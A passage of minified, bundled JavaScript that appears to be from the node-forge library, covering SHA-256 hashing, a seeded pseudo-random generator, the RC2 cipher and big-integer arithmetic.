D=1,j;function M(){if(D>O)return w(null,_);$.start(null,null),$.update(K),$.update(dM.util.int32ToBytes(D)),G=W=$.digest().getBytes(),j=2,P()}function P(){if(j<=q)return $.start(null,null),$.update(W),Z=$.digest().getBytes(),G=dM.util.xorBytes(G,Z,H),W=Z,++j,dM.util.setImmediate(P);_+=D<O?G:G.substr(0,X),++D,M()}M()}});var lD6=v((j4H,y_7)=>{var su=m3();ru();bY();var C_7=y_7.exports=su.sha256=su.sha256||{};su.md.sha256=su.md.algorithms.sha256=C_7;C_7.create=function(){if(!L_7)SNY();var A=null,K=su.util.createBuffer(),q=Array(64),Y={algorithm:"sha256",blockLength:64,digestLength:32,messageLength:0,fullMessageLength:null,messageLengthSize:8};return Y.start=function(){Y.messageLength=0,Y.fullMessageLength=Y.messageLength64=[];var z=Y.messageLengthSize/4;for(var w=0;w<z;++w)Y.fullMessageLength.push(0);return K=su.util.createBuffer(),A={h0:1779033703,h1:3144134277,h2:1013904242,h3:2773480762,h4:1359893119,h5:2600822924,h6:528734635,h7:1541459225},Y},Y.start(),Y.update=function(z,w){if(w==="utf8")z=su.util.encodeUtf8(z);var H=z.length;Y.messageLength+=H,H=[H/4294967296>>>0,H>>>0];for(var J=Y.fullMessageLength.length-1;J>=0;--J)Y.fullMessageLength[J]+=H[1],H[1]=H[0]+(Y.fullMessageLength[J]/4294967296>>>0),Y.fullMessageLength[J]=Y.fullMessageLength[J]>>>0,H[0]=H[1]/4294967296>>>0;if(K.putBytes(z),k_7(A,q,K),K.read>2048||K.length()===0)K.compact();return Y},Y.digest=function(){var z=su.util.createBuffer();z.putBytes(K.bytes());var w=Y.fullMessageLength[Y.fullMessageLength.length-1]+Y.messageLengthSize,H=w&Y.blockLength-1;z.putBytes(cD6.substr(0,Y.blockLength-H));var J,O,X=Y.fullMessageLength[0]*8;for(var $=0;$<Y.fullMessageLength.length-1;++$)J=Y.fullMessageLength[$+1]*8,O=J/4294967296>>>0,X+=O,z.putInt32(X>>>0),X=J>>>0;z.putInt32(X);var _={h0:A.h0,h1:A.h1,h2:A.h2,h3:A.h3,h4:A.h4,h5:A.h5,h6:A.h6,h7:A.h7};k_7(_,q,z);var G=su.util.createBuffer();return G.putInt32(_.h0),G.putInt32(_.h1),G.putInt32(_.h2),G.putInt32(_.h3),G.putInt32(_.h4),G.putInt32(_.h5),G.putInt32(_.h6),G.putInt32(_.h7),G},Y};var cD6=null,L_7=!1,R_7=null;function SNY(){cD6=String.fromCharCode(128),cD6+=su.util.fillString(String.fromCharCode(0),64),R_7=[1116352408,1899447441,3049323471,3921009573,961987163,1508970993,2453635748,2870763221,3624381080,310598401,607225278,1426881987,1925078388,2162078206,2614888103,3248222580,3835390401,4022224774,264347078,604807628,770255983,1249150122,1555081692,1996064986,2554220882,2821834349,2952996808,3210313671,3336571891,3584528711,113926993,338241895,666307205,773529912,1294757372,1396182291,1695183700,1986661051,2177026350,2456956037,2730485921,2820302411,3259730800,3345764771,3516065817,3600352804,4094571909,275423344,430227734,506948616,659060556,883997877,958139571,1322822218,1537002063,1747873779,1955562222,2024104815,2227730452,2361852424,2428436474,2756734187,3204031479,3329325298],L_7=!0}function k_7(A,K,q){var Y,z,w,H,J,O,X,$,_,G,Z,W,D,j,M,P=q.length();while(P>=64){for(X=0;X<16;++X)K[X]=q.getInt32();for(;X<64;++X)Y=K[X-2],Y=(Y>>>17|Y<<15)^(Y>>>19|Y<<13)^Y>>>10,z=K[X-15],z=(z>>>7|z<<25)^(z>>>18|z<<14)^z>>>3,K[X]=Y+K[X-7]+z+K[X-16]|0;$=A.h0,_=A.h1,G=A.h2,Z=A.h3,W=A.h4,D=A.h5,j=A.h6,M=A.h7;for(X=0;X<64;++X)H=(W>>>6|W<<26)^(W>>>11|W<<21)^(W>>>25|W<<7),J=j^W&(D^j),w=($>>>2|$<<30)^($>>>13|$<<19)^($>>>22|$<<10),O=$&_|G&($^_),Y=M+H+J+R_7[X]+K[X],z=w+O,M=j,j=D,D=W,W=Z+Y>>>0,Z=G,G=_,_=$,$=Y+z>>>0;A.h0=A.h0+$|0,A.h1=A.h1+_|0,A.h2=A.h2+G|0,A.h3=A.h3+Z|0,A.h4=A.h4+W|0,A.h5=A.h5+D|0,A.h6=A.h6+j|0,A.h7=A.h7+M|0,P-=64}}});var iD6=v((M4H,I_7)=>{var tu=m3();bY();var oX1=null;if(tu.util.isNodejs&&!tu.options.usePureJavaScript&&!process.versions["node-webkit"])oX1=CA("crypto");var hNY=I_7.exports=tu.prng=tu.prng||{};hNY.create=function(A){var K={plugin:A,key:null,seed:null,time:null,reseeds:0,generated:0,keyBytes:""},q=A.md,Y=Array(32);for(var z=0;z<32;++z)Y[z]=q.create();K.pools=Y,K.pool=0,K.generate=function(X,$){if(!$)return K.generateSync(X);var _=K.plugin.cipher,G=K.plugin.increment,Z=K.plugin.formatKey,W=K.plugin.formatSeed,D=tu.util.createBuffer();K.key=null,j();function j(M){if(M)return $(M);if(D.length()>=X)return $(null,D.getBytes(X));if(K.generated>1048575)K.key=null;if(K.key===null)return tu.util.nextTick(function(){w(j)});var P=_(K.key,K.seed);K.generated+=P.length,D.putBytes(P),K.key=Z(_(K.key,G(K.seed))),K.seed=W(_(K.key,K.seed)),tu.util.setImmediate(j)}},K.generateSync=function(X){var $=K.plugin.cipher,_=K.plugin.increment,G=K.plugin.formatKey,Z=K.plugin.formatSeed;K.key=null;var W=tu.util.createBuffer();while(W.length()<X){if(K.generated>1048575)K.key=null;if(K.key===null)H();var D=$(K.key,K.seed);K.generated+=D.length,W.putBytes(D),K.key=G($(K.key,_(K.seed))),K.seed=Z($(K.key,K.seed))}return W.getBytes(X)};function w(X){if(K.pools[0].messageLength>=32)return J(),X();var $=32-K.pools[0].messageLength<<5;K.seedFile($,function(_,G){if(_)return X(_);K.collect(G),J(),X()})}function H(){if(K.pools[0].messageLength>=32)return J();var X=32-K.pools[0].messageLength<<5;K.collect(K.seedFileSync(X)),J()}function J(){K.reseeds=K.reseeds===4294967295?0:K.reseeds+1;var X=K.plugin.md.create();X.update(K.keyBytes);var $=1;for(var _=0;_<32;++_){if(K.reseeds%$===0)X.update(K.pools[_].digest().getBytes()),K.pools[_].start();$=$<<1}K.keyBytes=X.digest().getBytes(),X.start(),X.update(K.keyBytes);var G=X.digest().getBytes();K.key=K.plugin.formatKey(K.keyBytes),K.seed=K.plugin.formatSeed(G),K.generated=0}function O(X){var $=null,_=tu.util.globalScope,G=_.crypto||_.msCrypto;if(G&&G.getRandomValues)$=function(T){return G.getRandomValues(T)};var Z=tu.util.createBuffer();if($)while(Z.length()<X){var W=Math.max(1,Math.min(X-Z.length(),65536)/4),D=new Uint32Array(Math.floor(W));try{$(D);for(var j=0;j<D.length;++j)Z.putInt32(D[j])}catch(T){if(!(typeof QuotaExceededError<"u"&&T instanceof QuotaExceededError))throw T}}if(Z.length()<X){var M,P,f,N=Math.floor(Math.random()*65536);while(Z.length()<X){P=16807*(N&65535),M=16807*(N>>16),P+=(M&32767)<<16,P+=M>>15,P=(P&2147483647)+(P>>31),N=P&4294967295;for(var j=0;j<3;++j)f=N>>>(j<<3),f^=Math.floor(Math.random()*256),Z.putByte(f&255)}}return Z.getBytes(X)}if(oX1)K.seedFile=function(X,$){oX1.randomBytes(X,function(_,G){if(_)return $(_);$(null,G.toString())})},K.seedFileSync=function(X){return oX1.randomBytes(X).toString()};else K.seedFile=function(X,$){try{$(null,O(X))}catch(_){$(_)}},K.seedFileSync=O;return K.collect=function(X){var $=X.length;for(var _=0;_<$;++_)K.pools[K.pool].update(X.substr(_,1)),K.pool=K.pool===31?0:K.pool+1},K.collectInt=function(X,$){var _="";for(var G=0;G<$;G+=8)_+=String.fromCharCode(X>>G&255);K.collect(_)},K.registerWorker=function(X){if(X===self)K.seedFile=function(_,G){function Z(W){var D=W.data;if(D.forge&&D.forge.prng)self.removeEventListener("message",Z),G(D.forge.prng.err,D.forge.prng.bytes)}self.addEventListener("message",Z),self.postMessage({forge:{prng:{needed:_}}})};else{var $=function(_){var G=_.data;if(G.forge&&G.forge.prng)K.seedFile(G.forge.prng.needed,function(Z,W){X.postMessage({forge:{prng:{err:Z,bytes:W}}})})};X.addEventListener("message",$)}},K}});var uC=v((P4H,nD6)=>{var RG=m3();ha();lD6();iD6();bY();(function(){if(RG.random&&RG.random.getBytes){nD6.exports=RG.random;return}(function(A){var K={},q=[,,,,],Y=RG.util.createBuffer();K.formatKey=function(_){var G=RG.util.createBuffer(_);return _=[,,,,],_[0]=G.getInt32(),_[1]=G.getInt32(),_[2]=G.getInt32(),_[3]=G.getInt32(),RG.aes._expandKey(_,!1)},K.formatSeed=function(_){var G=RG.util.createBuffer(_);return _=[,,,,],_[0]=G.getInt32(),_[1]=G.getInt32(),_[2]=G.getInt32(),_[3]=G.getInt32(),_},K.cipher=function(_,G){return RG.aes._updateBlock(_,G,q,!1),Y.putInt32(q[0]),Y.putInt32(q[1]),Y.putInt32(q[2]),Y.putInt32(q[3]),Y.getBytes()},K.increment=function(_){return++_[3],_},K.md=RG.md.sha256;function z(){var _=RG.prng.create(K);return _.getBytes=function(G,Z){return _.generate(G,Z)},_.getBytesSync=function(G){return _.generate(G)},_}var w=z(),H=null,J=RG.util.globalScope,O=J.crypto||J.msCrypto;if(O&&O.getRandomValues)H=function(_){return O.getRandomValues(_)};if(RG.options.usePureJavaScript||!RG.util.isNodejs&&!H){if(typeof window>"u"||window.document===void 0);if(w.collectInt(+new Date,32),typeof navigator<"u"){var X="";for(var $ in navigator)try{if(typeof navigator[$]=="string")X+=navigator[$]}catch(_){}w.collect(X),X=null}if(A)A().mousemove(function(_){w.collectInt(_.clientX,16),w.collectInt(_.clientY,16)}),A().keypress(function(_){w.collectInt(_.charCode,8)})}if(!RG.random)RG.random=w;else for(var $ in w)RG.random[$]=w[$];RG.random.createInstance=z,nD6.exports=RG.random})(typeof jQuery<"u"?jQuery:null)})()});var oD6=v((V4H,b_7)=>{var Mf=m3();bY();var rD6=[217,120,249,196,25,221,181,237,40,233,253,121,74,160,216,157,198,126,55,131,43,118,83,142,98,76,100,136,68,139,251,162,23,154,89,245,135,179,79,19,97,69,109,141,9,129,125,50,189,143,64,235,134,183,123,11,240,149,33,34,92,107,78,130,84,214,101,147,206,96,178,28,115,86,192,20,167,140,241,220,18,117,202,31,59,190,228,209,66,61,212,48,163,60,182,38,111,191,14,218,70,105,7,87,39,242,29,155,188,148,67,3,248,17,199,246,144,239,62,231,6,195,213,47,200,102,30,215,8,232,234,222,128,82,238,247,132,170,114,172,53,77,106,42,150,26,210,113,90,21,73,116,75,159,208,94,4,24,164,236,194,224,65,110,15,81,203,204,36,145,175,80,161,244,112,57,153,124,58,133,35,184,180,122,252,2,54,91,37,85,151,49,45,93,250,152,227,138,146,174,5,223,41,16,103,108,186,201,211,0,230,207,225,158,168,44,99,22,1,63,88,226,137,169,13,56,52,27,171,51,255,176,187,72,12,95,185,177,205,46,197,243,219,71,229,165,156,119,10,166,32,104,254,127,193,173],S_7=[1,2,3,5],bNY=function(A,K){return A<<K&65535|(A&65535)>>16-K},xNY=function(A,K){return(A&65535)>>K|A<<16-K&65535};b_7.exports=Mf.rc2=Mf.rc2||{};Mf.rc2.expandKey=function(A,K){if(typeof A==="string")A=Mf.util.createBuffer(A);K=K||128;var q=A,Y=A.length(),z=K,w=Math.ceil(z/8),H=255>>(z&7),J;for(J=Y;J<128;J++)q.putByte(rD6[q.at(J-1)+q.at(J-Y)&255]);q.setAt(128-w,rD6[q.at(128-w)&H]);for(J=127-w;J>=0;J--)q.setAt(J,rD6[q.at(J+1)^q.at(J+w)]);return q};var h_7=function(A,K,q){var Y=!1,z=null,w=null,H=null,J,O,X,$,_=[];A=Mf.rc2.expandKey(A,K);for(X=0;X<64;X++)_.push(A.getInt16Le());if(q)J=function(W){for(X=0;X<4;X++)W[X]+=_[$]+(W[(X+3)%4]&W[(X+2)%4])+(~W[(X+3)%4]&W[(X+1)%4]),W[X]=bNY(W[X],S_7[X]),$++},O=function(W){for(X=0;X<4;X++)W[X]+=_[W[(X+3)%4]&63]};else J=function(W){for(X=3;X>=0;X--)W[X]=xNY(W[X],S_7[X]),W[X]-=_[$]+(W[(X+3)%4]&W[(X+2)%4])+(~W[(X+3)%4]&W[(X+1)%4]),$--},O=function(W){for(X=3;X>=0;X--)W[X]-=_[W[(X+3)%4]&63]};var G=function(W){var D=[];for(X=0;X<4;X++){var j=z.getInt16Le();if(H!==null)if(q)j^=H.getInt16Le();else H.putInt16Le(j);D.push(j&65535)}$=q?0:63;for(var M=0;M<W.length;M++)for(var P=0;P<W[M][0];P++)W[M][1](D);for(X=0;X<4;X++){if(H!==null)if(q)H.putInt16Le(D[X]);else D[X]^=H.getInt16Le();w.putInt16Le(D[X])}},Z=null;return Z={start:function(W,D){if(W){if(typeof W==="string")W=Mf.util.createBuffer(W)}Y=!1,z=Mf.util.createBuffer(),w=D||new Mf.util.createBuffer,H=W,Z.output=w},update:function(W){if(!Y)z.putBuffer(W);while(z.length()>=8)G([[5,J],[1,O],[6,J],[1,O],[5,J]])},finish:function(W){var D=!0;if(q)if(W)D=W(8,z,!q);else{var j=z.length()===8?8:8-z.length();z.fillWithByte(j,j)}if(D)Y=!0,Z.update();if(!q){if(D=z.length()===0,D)if(W)D=W(8,w,!q);else{var M=w.length(),P=w.at(M-1);if(P>M)D=!1;else w.truncate(P)}}return D}},Z};Mf.rc2.startEncrypting=function(A,K,q){var Y=Mf.rc2.createEncryptionCipher(A,128);return Y.start(K,q),Y};Mf.rc2.createEncryptionCipher=function(A,K){return h_7(A,K,!0)};Mf.rc2.startDecrypting=function(A,K,q){var Y=Mf.rc2.createDecryptionCipher(A,128);return Y.start(K,q),Y};Mf.rc2.createDecryptionCipher=function(A,K){return h_7(A,K,!1)}});var VBA=v((f4H,U_7)=>{var aD6=m3();U_7.exports=aD6.jsbn=aD6.jsbn||{};var Wp,uNY=244837814094590,x_7=(uNY&16777215)==15715070;function L8(A,K,q){if(this.data=[],A!=null)if(typeof A=="number")this.fromNumber(A,K,q);else if(K==null&&typeof A!="string")this.fromString(A,256);else this.fromString(A,K)}aD6.jsbn.BigInteger=L8;function xY(){return new L8(null)}function BNY(A,K,q,Y,z,w){while(--w>=0){var H=K*this.data[A++]+q.data[Y]+z;z=Math.floor(H/67108864),q.data[Y++]=H&67108863}return z}function mNY(A,K,q,Y,z,w){var H=K&32767,J=K>>15;while(--w>=0){var O=this.data[A]&32767,X=this.data[A++]>>15,$=J*O+X*H;O=H*O+(($&32767)<<15)+q.data[Y]+(z&1073741823),z=(O>>>30)+($>>>15)+J*X+(z>>>30),q.data[Y++]=O&1073741823}return z}function u_7(A,K,q,Y,z,w){var H=K&16383,J=K>>14;while(--w>=0){var O=this.data[A]&16383,X=this.data[A++]>>14,$=J*O+X*H;O=H*O+(($&16383)<<14)+q.data[Y]+z,z=(O>>28)+($>>14)+J*X,q.data[Y++]=O&268435455}return z}if(typeof navigator>"u")L8.prototype.am=u_7,Wp=28;else if(x_7&&navigator.appName=="Microsoft Internet Explorer")L8.prototype.am=mNY,Wp=30;else if(x_7&&navigator.appName!="Netscape")L8.prototype.am=BNY,Wp=26;else L8.prototype.am=u_7,Wp=28;L8.prototype.DB=Wp;L8.prototype.DM=(1<<Wp)-1;L8.prototype.DV=1<<Wp;var sD6=52;L8.prototype.FV=Math.pow(2,sD6);L8.prototype.F1=sD6-Wp;L8.prototype.F2=2*Wp-sD6;var gNY="0123456789abcdefghijklmnopqrstuvwxyz",aX1=[],yZA,BC;yZA=48;for(BC=0;BC<=9;++BC)aX1[yZA++]=BC;yZA=97;for(BC=10;BC<36;++BC)aX1[yZA++]=BC;yZA=65;for(BC=10;BC<36;++BC)aX1[yZA++]=BC;function B_7(A){return gNY.charAt(A)}function m_7(A,K){var q=aX1[A.charCodeAt(K)];return q==null?-1:q}function FNY(A){for(var K=this.t-1;K>=0;--K)A.data[K]=this.data[K];A.t=this.t,A.s=this.s}function QNY(A){if(this.t=1,this.s=A<0?-1:0,A>0)this.data[0]=A;else if(A<-1)this.data[0]=A+this.DV;else this.t=0}function xa(A){var K=xY();return K.fromInt(A),K}function UNY(A,K){var q;if(K==16)q=4;else if(K==8)q=3;else if(K==256)q=8;else if(K==2)q=1;else if(K==32)q=5;else if(K==4)q=2;else{this.fromRadix(A,K);return}this.t=0,this.s=0;var Y=A.length,z=!1,w=0;while(--Y>=0){var H=q==8?A[Y]&255:m_7(A,Y);if(H<0){if(A.charAt(Y)=="-")z=!0;continue}if(z=!1,w==0)this.data[this.t++]=H;else if(w+q>this.DB)this.data[this.t-1]|=(H&(1<<this.DB-w)-1)<<w,this.data[this.t++]=H>>this.DB-w;else this.data[this.t-1]|=H<<w;if(w+=q,w>=this.DB)w-=this.DB}if(q==8&&(A[0]&128)!=0){if(this.s=-1,w>0)this.data[this.t-1]|=(1<<this.DB-w)-1<<w}if(this.clamp(),z)L8.ZERO.subTo(this,this)}function pNY(){var A=this.s&this.DM;while(this.t>0&&this.data[this.t-1]==A)--this.t}function dNY(A){if(this.s<0)return"-"+this.negate().toString(A);var K;if(A==16)K=4;else if(A==8)K=3;else if(A==2)K=1;else if(A==32)K=5;else if(A==4)K=2;else return this.toRadix(A);var q=(1<<K)-1,Y,z=!1,w="",H=this.t,J=this.DB-H*this.DB%K;if(H-- >0){if(J<this.DB&&(Y=this.data[H]>>J)>0)z=!0,w=B_7(Y);while(H>=0){if(J<K)Y=(this.data[H]&(1<<J)-1)<<K-J,Y|=this.data[--H]>>(J+=this.DB-K);else if(Y=this.data[H]>>(J-=K)&q,J<=0)J+=this.DB,--H;if(Y>0)z=!0;if(z)w+=B_7(Y)}}return z?w:"0"}function cNY(){var A=xY();return L8.ZERO.subTo(this,A),A}function lNY(){return this.s<0?this.negate():this}function iNY(A){var K=this.s-A.s;if(K!=0)return K;var q=this.t;if(K=q-A.t,K!=0)return this.s<0?-K:K;while(--q>=0)if((K=this.data[q]-A.data[q])!=0)return K;return 0}function sX1(A){var K=1,q;if((q=A>>>16)!=0)A=q,K+=16;if((q=A>>8)!=0)A=q,K+=8;if((q=A>>4)!=0)A=q,K+=4;if((q=A>>2)!=0)A=q,K+=2;if((q=A>>1)!=0)A=q,K+=1;return K}function nNY(){if(this.t<=0)return 0;return this.DB*(this.t-1)+sX1(this.data[this.t-1]^this.s&this.DM)}function rNY(A,K){var q;for(q=this.t-1;q>=0;--q)K.data[q+A]=this.data[q];for(q=A-1;q>=0;--q)K.data[q]=0;K.t=this.t+A,K.s=this.s}function oNY(A,K){for(var q=A;q<this.t;++q)K.data[q-A]=this.data[q];K.t=Math.max(this.t-A,0),K.s=this.s}function aNY(A,K){var q=A%this.DB,Y=this.DB-q,z=(1<<Y)-1,w=Math.floor(A/this.DB),H=this.s<<q&this.DM,J;for(J=this.t-1;J>=0;--J)K.data[J+w+1]=this.data[J]>>Y|H,H=(this.data[J]&z)<<q;for(J=w-1;J>=0;--J)K.data[J]=0;K.data[w]=H,K.t=this.t+w+1,K.s=this.s,K.clamp()}function sNY(A,K){K.s=this.s;var q=Math.floor(A/this.DB);if(q>=this.t){K.t=0;return}var Y=A%this.DB,z=this.DB-Y,w=(1<<Y)-1;K.data[0]=this.data[q]>>Y;for(var H=q+1;H<this.t;++H)K.data[H-q-1]|=(this.data[H]&w)<<z,K.data[H-q]=this.data[H]>>Y;if(Y>0)K.data[this.t-q-1]|=(this.s&w)<<z;K.t=this.t-q,K.clamp()}function tNY(A,K){var q=0,Y=0,z=Math.min(A.t,this.t);while(q<z)Y+=this.data[q]-A.data[q],K.data[q++]=Y&this.DM,Y>>=this.DB;if(A.t<this.t){Y-=A.s;while(q<this.t)Y+=this.data[q],K.data[q++]=Y&this.DM,Y>>=this.DB;Y+=this.s}else{Y+=this.s;while(q<A.t)Y-=A.data[q],K.data[q++]=Y&this.DM,Y>>=this.DB;Y-=A.s}if(K.s=Y<0?-1:0,Y<-1)K.data[q++]=this.DV+Y;else if(Y>0)K.data[q++]=Y;K.t=q,K.clamp()}function eNY(A,K){var q=this.abs(),Y=A.abs(),z=q.t;K.t=z+Y.t;while(--z>=0)K.data[z]=0;for(z=0;z<Y.t;++z)K.data[z+q.t]=q.am(0,Y.data[z],K,z,0,q.t);if(K.s=0,K.clamp(),this.s!=A.s)L8.ZERO.subTo(K,K)}function ATY(A){var K=this.abs(),q=A.t=2*K.t;while(--q>=0)A.data[q]=0;for(q=0;q<K.t-1;++q){var Y=K.am(q,K.data[q],A,2*q,0,1);if((A.data[q+K.t]+=K.am(q+1,2*K.data[q],A,2*q+1,Y,K.t-q-1))>=K.DV)A.data[q+K.t]-=K.DV,A.data[q+K.t+1]=1}if(A.t>0)A.data[A.t-1]+=K.am(q,K.data[q],A,2*q,0,1);A.s=0,A.clamp()}function KTY(A,K,q){var Y=A.abs();if(Y.t<=0)return;var z=this.abs();if(z.t<Y.t){if(K!=null)K.fromInt(0);if(q!=null)this.copyTo(q);return}if(q==null)q=xY();var w=xY(),H=this.s,J=A.s,O=this.DB-sX1(Y.data[Y.t-1]);if(O>0)Y.lShiftTo(O,w),z.lShiftTo(O,q);else Y.copyTo(w),z.copyTo(q);var X=w.t,$=w.data[X-1];if($==0)return;var _=$*(1<<this.F1)+(X>1?w.data[X-2]>>this.F2:0),G=this.FV/_,Z=(1<<this.F1)/_,W=1<<this.F2,D=q.t,j=D-X,M=K==null?xY():K;if(w.dlShiftTo(j,M),q.compareTo(M)>=0)q.data[q.t++]=1,q.subTo(M,q);L8.ONE.dlShiftTo(X,M),M.subTo(w,w);while(w.t<X)w.data[w.t++]=0;while(--j>=0){var P=q.data[--D]==$?this.DM:Math.floor(q.data[D]*G+(q.data[D-1]+W)*Z);if((q.data[D]+=w.am(0,P,q,j,0,X))<P){w.dlShiftTo(j,M),q.subTo(M,q);while(q.data[D]<--P)q.subTo(M,q)}}if(K!=null){if(q.drShiftTo(X,K),H!=J)L8.ZERO.subTo(K,K)}if(q.t=X,q.clamp(),O>0)q.rShiftTo(O,q);if(H<0)L8.ZERO.subTo(q,q)}function qTY(A){var K=xY();if(this.abs().divRemTo(A,null,K),this.s<0&&K.compareTo(L8.ZERO)>0)A.subTo(K,K);return K}function EqA(A){this.m=A}function YTY(A){if(A.s<0||A.compareTo(this.m)>=0)return A.mod(this.m);else return A}function zTY(A){return A}function wTY(A){A.divRemTo(this.m,null,A)}function HTY(A,K,q){A.multiplyTo(K,q),this.reduce(q)}function JTY(A,K){A.squareTo(K),this.reduce(K)}EqA.prototype.convert=YTY;EqA.prototype.revert=zTY;EqA.prototype.reduce=wTY;EqA.prototype.mulTo=HTY;EqA.prototype.sqrTo=JTY;function OTY(){if(this.t<1)return 0;var A=this.data[0];if((A&1)==0)return 0;var K=A&3;return K=K*(2-(A&15)*K)&15,K=K*(2-(A&255)*K)&255,K=K*(2-((A&65535)*K&65535))&65535,K=K*(2-A*K%this.DV)%this.DV,K>0?this.DV-K:-K}function kqA(A){this.m=A,this.mp=A.invDigit(),this.mpl=this.mp&32767,this.mph=this.mp>>15,this.um=(1<<A.DB-15)-1,this.mt2=2*A.t}function XTY(A){var K=xY();if(A.abs().dlShiftTo(this.m.t,K),K.divRemTo(this.m,null,K),A.s<0&&K.compareTo(L8.ZERO)>0)this.m.subTo(K,K);return K}function $TY(A){var K=xY();return A.copyTo(K),this.reduce(K),K}function _TY(A){while(A.t<=this.mt2)A.data[A.t++]=0;for(var K=0;K<this.m.t;++K){var q=A.data[K]&32767,Y=q*this.mpl+((q*this.mph+(A.data[K]>>15)*this.mpl&this.um)<<15)&A.DM;q=K+this.m.t,A.data[q]+=this.m.am(0,Y,A,K,0,this.m.t);while(A.data[q]>=A.DV)A.data[q]-=A.DV,A.data[++q]++}if(A.clamp(),A.drShiftTo(this.m.t,A),A.compareTo(this.m)>=0)A.subTo(this.m,A)}function GTY(A,K){A.squareTo(K),this.reduce(K)}function ZTY(A,K,q){A.multiplyTo(K,q),this.reduce(q)}kqA.prototype.convert=XTY;kqA.prototype.revert=$TY;kqA.prototype.reduce=_TY;kqA.prototype.mulTo=ZTY;kqA.prototype.sqrTo=GTY;function WTY(){return(this.t>0?this.data[0]&1:this.s)==0}function DTY(A,K){if(A>4294967295||A<1)return L8.ONE;var q=xY(),Y=xY(),z=K.convert(this),w=sX1(A)-1;z.copyTo(q);while(--w>=0)if(K.sqrTo(q,Y),(A&1<<w)>0)K.mulTo(Y,z,q);else{var H=q;q=Y,Y=H}return K.revert(q)}function jTY(A,K){var q;if(A<256||K.isEven())q=new EqA(K);else q=new kqA(K);return this.exp(A,q)}L8.prototype.copyTo=FNY;L8.prototype.fromInt=QNY;L8.prototype.fromString=UNY;L8.prototype.clamp=pNY;L8.prototype.dlShiftTo=rNY;L8.prototype.drShiftTo=oNY;L8.prototype.lShiftTo=aNY;L8.prototype.rShiftTo=sNY;L8.prototype.subTo=tNY;L8.prototype.multiplyTo=eNY;L8.prototype.squareTo=ATY;L8.prototype.divRemTo=KTY;L8.prototype.invDigit=OTY;L8.prototype.isEven=WTY;L8.prototype.exp=DTY;L8.prototype.toString=dNY;L8.prototype.negate=cNY;L8.prototype.abs=lNY;L8.prototype.compareTo=iNY;L8.prototype.bitLength=nNY;L8.prototype.mod=qTY;L8.prototype.modPowInt=jTY;L8.ZERO=xa(0);L8.ONE=xa(1);function MTY(){var A=xY();return this.copyTo(A),A}function PTY(){if(this.s<0){if(this.t==1)return this.data[0]-this.DV;else if(this.t==0)return-1}else if(this.t==1)return this.data[0];else if(this.t==0)return 0;return(this.data[1]&(1<<32-this.DB)-1)<<this.DB|this.data[0]}function VTY(){return this.t==0?this.s:this.data[0]<<24>>24}function fTY(){return this.t==0?this.s:this.data[0]<<16>>16}function NTY(A){return Math.floor(Math.LN2*this.DB/Math.log(A))}function TTY(){if(this.s<0)return-1;else if(this.t<=0||this.t==1&&this.data[0]<=0)return 0;else return 1}function vTY(A){if(A==null)A=10;if(this.signum()==0||A<2||A>36)return"0";var K=this.chunkSize(A),q=Math.pow(A,K),Y=xa(q),z=xY(),w=xY(),H="";this.divRemTo(Y,z,w);while(z.signum()>0)H=(q+w.intValue()).toString(A).substr(1)+H,z.divRemTo(Y,z,w);return w.intValue().toString(A)+H}function ETY(A,K){if(this.fromInt(0),K==null)K=10;var q=this.chunkSize(K),Y=Math.pow(K,q),z=!1,w=0,H=0;for(var J=0;J<A.length;++J){var O=m_7(A,J);if(O<0){if(A.charAt(J)=="-"&&this.signum()==0)z=!0;continue}if(H=K*H+O,++w>=q)this.dMultiply(Y),this.dAddOffset(H,0),w=0,H=0}if(w>0)this.dMultiply(Math.pow(K,w)),this.dAddOffset(H,0);if(z)L8.ZERO.subTo(this,this)}function kTY(A,K,q){if(typeof K=="number")if(A<2)this.fromInt(1);else{if(this.fromNumber(A,q),!this.testBit(A-1))this.bitwiseTo(L8.ONE.shiftLeft(A-1),tD6,this);if(this.isEven())this.dAddOffset(1,0);while(!this.isProbablePrime(K))if(this.dAddOffset(2,0),this.bitLength()>A)this.subTo(L8.ONE.shiftLeft(A-1),this)}else{var Y=[],z=A&7;if(Y.length=(A>>3)+1,K.nextBytes(Y),z>0)Y[0]&=(1<<z)-1;else Y[0]=0;this.fromString(Y,256)}}function CTY(){var A=this.t,K=[];K[0]=this.s;var q=this.DB-A*this.DB%8,Y,z=0;if(A-- >0){if(q<this.DB&&(Y=this.data[A]>>q)!=(this.s&this.DM)>>q)K[z++]=Y|this.s<<this.DB-q;while(A>=0){if(q<8)Y=(this.data[A]&(1<<q)-1)<<8-q,Y|=this.data[--A]>>(q+=this.DB-8);else if(Y=this.data[A]>>(q-=8)&255,q<=0)q+=this.DB,--A;if((Y&128)!=0)Y|=-256;if(z==0&&(this.s&128)!=(Y&128))++z;if(z>0||Y!=this.s)K[z++]=Y}}return K}function LTY(A){return this.compareTo(A)==0}function RTY(A){return this.compareTo(A)<0?this:A}function yTY(A){return this.compareTo(A)>0?this:A}function ITY(A,K,q){var Y,z,w=Math.min(A.t,this.t);for(Y=0;Y<w;++Y)q.data[Y]=K(this.data[Y],A.data[Y]);if(A.t<this.t){z=A.s&this.DM;for(Y=w;Y<this.t;++Y)q.data[Y]=K(this.data[Y],z);q.t=this.t}else{z=this.s&this.DM;for(Y=w;Y<A.t;++Y)q.data[Y]=K(z,A.data[Y]);q.t=A.t}q.s=K(this.s,A.s),q.clamp()}function STY(A,K){return A&K}function hTY(A){var K=xY();return this.bitwiseTo(A,STY,K),K}function tD6(A,K){return A|K}function bTY(A){var K=xY();return this.bitwiseTo(A,tD6,K),K}function g_7(A,K){return A^K}function xTY(A){var K=xY();return this.bitwiseTo(A,g_7,K),K}function F_7(A,K){return A&~K}function uTY(A){var K=xY();return this.bitwiseTo(A,F_7,K),K}function BTY(){var A=xY();for(var K=0;K<this.t;++K)A.data[K]=this.DM&~this.data[K];return A.t=this.t,A.s=~this.s,A}function mTY(A){var K=xY();if(A<0)this.rShiftTo(-A,K);else this.lShiftTo(A,K);return K}function gTY(A){var K=xY();if(A<0)this.lShiftTo(-A,K);else this.rShiftTo(A,K);return K}function FTY(A){if(A==0)return-1;var K=0;if((A&65535)==0)A>>=16,K+=16;if((A&255)==0)A>>=8,K+=8;if((A&15)==0)A>>=4,K+=4;if((A&3)==0)A>>=2,K+=2;if((A&1)==0)++K;return K}function QTY(){for(var A=0;A<this.t;++A)if(this.data[A]!=0)return A*this.DB+FTY(this.data[A]);if(this.s<0)return this.t*this.DB;return-1}function UTY(A){var K=0;while(A!=0)A&=A-1,++K;return K}function pTY(){var A=0,K=this.s&this.DM;for(var q=0;q<this.t;++q)A+=UTY(this.data[q]^K);return A}function dTY(A){var 